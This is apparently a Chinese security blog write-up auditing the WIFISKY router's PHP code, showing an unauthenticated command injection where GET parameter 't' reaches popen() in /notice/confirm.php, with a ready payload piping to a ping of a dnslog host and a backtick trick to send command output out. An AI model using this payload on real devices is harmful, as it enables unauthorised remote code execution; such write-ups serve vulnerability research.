0day之某路由器前台RCE审计

2024-03-25 1,033 0

一.引子

又是一个风和日丽的周六下午,帅比小雷茫然的睁开疲惫的双眼,突然觉悟,我小雷乃一代肾透大师岂能虚度光阴?这成何体统?电脑来,Visual Studio Code来,源码来,小小php老夫今天就要拿下尔等!

二.目标确认

小雷此行目标: WIFISKY 7层流控路由器(php语言)
小雷审代码有三不审:1.后台的不审,不够帅 2.非rce不审,不够帅 3.不想审的不审,不够帅 所以此行只审前台的命令执行漏洞

总结: WIFISKY 7层流控路由器的前台命令执行漏洞

三.前期准备

1.使用软件

Visual Studio Code: Visual Studio Code - Code Editing. Redefined](https://code.visualstudio.com/)

0day之某路由器前台RCE审计插图

网上安装教程很多,各位道友请自行研究

2.知识点准备

1)命令执行

命令执行分两种:回显和不回显,回显的没啥好说,执行的命令结果直接回显出来,这里主要说一下不回显的命令执行如何验证
首先我们要先了解Linux中反引号的作用,Linux中反引号是用来处理命令,反引号在将符号内的命令处理完毕之后,会将返回的信息传给 bash,再次执行,如下: 'ping `whoami`.test.com' 反引号中的命令会被执行

0day之某路由器前台RCE审计插图1

现在就很明确了,这里只需将‘.test.com’改成dnslog的地址,再执行 ‘ping `whoami`.xxx。dnslog.cn’就可以把执行的命令结果成功带出来

0day之某路由器前台RCE审计插图2

2)傻瓜式代审流程

1.小雷此行的目标是前台的命令执行,所以小雷先收集了php中导致命令执行漏洞产生的危险函数,如下:
eval() assert() call_user_func() create_function() array_map() call_user_func_array() system() passthru() exec() pcntl_exec() shell_exec() popen() proc_open()

2.作为一个肾透多年的大师,导致前台命令执行的原因小雷必然熟记于心:①.危险函数中的参数用户可控 ②.接口权限效验缺失
所以,此行的第一个任务就是将所有权限效验缺失的文件挑出来,在未授权的文件中找命令执行漏洞

四.初遇

怀着激动的心情,小雷打开了代审之旅。为了完成第一步(未授权文件筛选),小雷特意研究了下鉴权方式,发现鉴权主要就靠这句代码

0day之某路由器前台RCE审计插图3

这下就简单了,只需在代审时候掠过有这句代码的文件即可

接下来小雷一个函数一个函数的搜索,最终目光锁定在 popen()函数,根据popen函数找到\notice\confirm.php

<?
$ip = $_SERVER['REMOTE_ADDR'];
$type = $_GET['t'];

$file = @popen("/usr/hls/bin/notice s $ip $type", "r");
if ($file)
pclose($file);

exit;
?>

这段代码一目了然符合小雷的要求:①无鉴权 ②危险函数中的参数可控

$ip = $_SERVER['REMOTE_ADDR'];
$type = $_GET['t'];

这里出现了两个变量$ip不用管,直接看$type = $_GET['t']接受GET传参t并将GET参数t的值直接赋值给$type

$file = @popen("/usr/hls/bin/notice s $ip $type", "r");

$type被直接带进了 popen()函数,并未有任何过滤处理

那么小雷要如何构造payload才能使系统成功执行自己的命令那? 这里必须让小雷给各位道友们介绍下管道符了

“|”是Linux管道命令操作符,简称管道符。使用此管道符“|”可以将两个命令分隔开,“|”左边命令的输出就会作为“|”右边命令的输入,此命令可连续使用,第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。

傻瓜式理解: 执行多个命令,只回显最后一个命令
例如: whoami|id 1|id

0day之某路由器前台RCE审计插图4

所以我们只需构造paylod: t=|ping kg4ab8.dnslog.cn ,再拼接上路径:/notice/confirm.php?t=|ping kg4ab8.dnslog.cn


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论